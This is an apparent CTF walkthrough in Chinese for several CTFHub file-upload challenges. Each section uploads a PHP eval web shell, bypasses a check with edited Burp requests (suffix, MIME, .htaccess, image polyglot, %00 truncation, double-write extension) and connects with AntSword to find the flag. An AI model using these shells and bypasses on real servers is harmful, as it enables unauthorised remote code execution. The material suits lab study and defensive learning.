无验证
新建php文件,上传。
<?php @eval($_POST["password"]);?>
页面回显上传的文件的相对路径:
upload/sh.php
利用蚁剑空白区域右击添加数据,设置如下:
URL地址 http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/sh.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,要跟$_POST[“password”]一致。
连接后查看网站文件,发现flag。
前端验证
用Burp Suite抓包页面发现JavaScript源码:
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
alert("请添加上传文件");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
alert("该文件不允许上传");
return false;
}
}
}
分析源码发现,只允许上传 .jpg .png .gif 这三种文件类型。
新建php文件,将文件后缀修改为 .php.jpg ,然后上传。
<?php @eval($_POST["password"]);?>
利用Burp Suite抓包:
POST / HTTP/1.1
Host: challenge-93d09a71cf31141f.sandbox.ctfhub.com:10080
Content-Length: 314
Cache-Control: max-age=0
Origin: http://challenge-93d09a71cf31141f.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFlwLA82ViKOQKBVw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-93d09a71cf31141f.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
------WebKitFormBoundaryFlwLA82ViKOQKBVw
Content-Disposition: form-data; name="file"; filename="she.php"
Content-Type: image/jpeg
<?php @eval($_POST["password"]);?>
------WebKitFormBoundaryFlwLA82ViKOQKBVw
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryFlwLA82ViKOQKBVw--
将Content-Disposition: form-data; name=“file”; filename="she.php.jpg"中的she.php.jpg改为she.php,然后放包。
页面回显上传的文件的相对路径:
upload/she.php
利用蚁剑空白区域右击添加数据,设置如下:
URL地址 http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/she.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,要跟$_POST[“password”]一致。
连接后查看网站文件,发现flag。
.htaccess
知识点
- **.htaccess文件,**分布式配置文件,全称是Hypertext Access(超文本入口)
- 它提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录
- 作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置
- .htaccess文件是用于apache服务器下的控制文件访问的配置文件,因此Nginx下是不会生效的
- .htaccess可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档、文件的跳转等功能
创建文件.htaccess,写入
AddType application/x-httpd-php .png
- 作用是将 png 解析为 php
然后上传.htaccess
.htaccess另外一个写法
可以在.htaccess 加入php解析规则,把文件名包含1的解析成php
<FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch>
例如文件1.png, 就会以php执行。
创建文件1.png,写入
<?php @eval($_POST["password"]);?>
页面回显上传的文件的相对路径:
upload/1.png
利用蚁剑空白区域右击添加数据,设置如下:
URL地址 http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/1.png
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,要跟$_POST[“password”]一致。
连接后查看网站文件,发现flag。
MIME绕过
知识点
- MIME(multipurpose Internet mail extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
- MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。
新建php文件,上传。
<?php @eval($_POST["password"]);?>
用Burp Suite截包
POST / HTTP/1.1
Host: challenge-3da65d6392ab375d.sandbox.ctfhub.com:10080
Content-Length: 329
Cache-Control: max-age=0
Origin: http://challenge-3da65d6392ab375d.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqSqmZMYn2GjVFjPL
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-3da65d6392ab375d.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
------WebKitFormBoundaryqSqmZMYn2GjVFjPL
Content-Disposition: form-data; name="file"; filename="mime.php"
Content-Type: application/octet-stream
<?php @eval($_POST["password"]);?>
------WebKitFormBoundaryqSqmZMYn2GjVFjPL
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryqSqmZMYn2GjVFjPL--
修改 Content-Type: application/octet-stream 为 Content-Type: image/gif,然后放包。
页面回显上传的文件的相对路径:
upload/mime.php
利用蚁剑空白区域右击添加数据,设置如下:
URL地址 http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/mime.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,要跟$_POST[“password”]一致。
连接后查看网站文件,发现flag。
文件头检查
新建mime.php文件。
<?php @eval($_POST["password"]);?>
准备好一张1.png图片,可以用截图。
在终端使用命令
copy 1.png/b+mime.php/a 2.php
上传2.php,用Burp Suite截包
POST / HTTP/1.1
Host: challenge-807c5a94a2a2baeb.sandbox.ctfhub.com:10080
Content-Length: 408
Cache-Control: max-age=0
Origin: http://challenge-807c5a94a2a2baeb.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4slgB48rTk0v3ath
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-807c5a94a2a2baeb.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
------WebKitFormBoundary4slgB48rTk0v3ath
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: application/octet-stream
‰PNG
修改 Content-Type: application/octet-stream 为 Content-Type: image/png,然后放包。
页面回显上传的文件的相对路径:
upload/2.php
利用蚁剑空白区域右击添加数据,设置如下:
URL地址 http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/2.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,要跟$_POST[“password”]一致。
连接后查看网站文件,发现flag。
00截断
知识点
0x00 , %00 , /00 之类的截断,都是一样的,只是不同表示而已。
在url中 %00 表示ascll码中的 0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。
比如:
https://xxx.com/upload/?filename=test.txt 此时输出的是test.txt
加上 %00
https://xxx.com/upload/?filename=test.php%00.txt 此时输出的是test.php
这样就绕过了后缀限制,可以上传webshell啦~
注:php版本要 小于5.3.4 ,5.3.4及以上已经修复该问题
新建00.php文件,上传。
<?php @eval($_POST["password"]);?>
用Burp Suite截包
POST /?road=/var/www/html/upload/ HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.php"
Content-Type: application/octet-stream
<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--
截包发现road参数是/var/www/html/upload/,因此我们知道我们上传的文件是在这个目录下。但这不是真正的文件路径,具体的文件路径在JavaScript源码里面
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension']; //首先取到上传文件的扩展名$ext
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) { //将扩展名与白名单进行匹配,为jpg、png或gif才能通过第一次过滤
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; //扩展名匹配之后,为上传的文件构造了一个新的存储路径$des
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";·
}
}
$des组成了我们最后的上传路径,如果我们把$_GET[‘road’]加入截断字符%00,那么之后所有的路径都会被截断,使得$des = $_GET[‘road’] . “/” . rand(10, 99) . date(“YmdHis”) . “.” . $ext;这段真正有效的是$des = $_GET[‘road’],因为在move_uploaded_file($_FILES[‘file’][‘tmp_name’], $des)这个函数里读取$des时遇到截断字符%00发生了截断,导致存入路径就到%00之前,从而实现绕过白名单。
用Burp Suite截包
POST /?road=/var/www/html/upload/ HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.php"
Content-Type: application/octet-stream
<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--
修改 filename=“00.php” 为 filename=“00.php%00;.jpg”,这里只要以白名单里面的后缀结尾就行了,前面无论是什么都没有关系,这里可以有很多答案。
修改POST /?road=/var/www/html/upload/ HTTP/1.1,为
POST /?road=/var/www/html/upload/00.php%00;.jpg HTTP/1.1
这里只要存在截断字符%00就行,截断字符之前是我们真正的文件名,%00后面无论是什么都没有关系,最后在move_uploaded_file()函数里都会被截断。
变为
POST /?road=/var/www/html/upload/00.php%00;.jpg HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.php%00;.jpg"
Content-Type: application/octet-stream
<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--
或者
POST /?road=/var/www/html/upload/00.php%00 HTTP/1.1
Host: challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTOvBpBALVa4wnKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-cbb572a8b094b8d4.sandbox.ctfhub.com:10080/?road=/var/www/html/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="file"; filename="00.jpg"
Content-Type: application/octet-stream
<?php @eval($_POST["password"]);?>
------WebKitFormBoundarykTOvBpBALVa4wnKw
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundarykTOvBpBALVa4wnKw--
然后放包。
利用蚁剑空白区域右击添加数据,设置如下:
URL地址 http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/00.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,要跟$_POST[“password”]一致。
连接后查看网站文件,发现flag。
双写后缀
用Burp Suite截包,发现源码:
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
系统会自动把php字符替换成空字符,所以我们把php拆分开来,插入php,这样我们就可以在第一次过滤后依然存在php后缀。
新建00.php文件,上传。
<?php @eval($_POST["password"]);?>
用Burp Suite截包
POST / HTTP/1.1
Host: challenge-f689fdd527fc88df.sandbox.ctfhub.com:10080
Content-Length: 327
Cache-Control: max-age=0
Origin: http://challenge-f689fdd527fc88df.sandbox.ctfhub.com:10080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywsdBSAMfDwZE9zw2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Edg/88.0.705.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-f689fdd527fc88df.sandbox.ctfhub.com:10080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
------WebKitFormBoundarywsdBSAMfDwZE9zw2
Content-Disposition: form-data; name="file"; filename="00.php"
Content-Type: application/octet-stream
<?php @eval($_POST["password"]);?>
------WebKitFormBoundarywsdBSAMfDwZE9zw2
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundarywsdBSAMfDwZE9zw2--
修改 filename=“00.php” 为 filename=“00.pphphp”,然后放包。
页面回显上传的文件的相对路径:
upload/00.php
利用蚁剑空白区域右击添加数据,设置如下:
URL地址 http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/00.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,要跟$_POST[“password”]一致。
连接后查看网站文件,发现flag。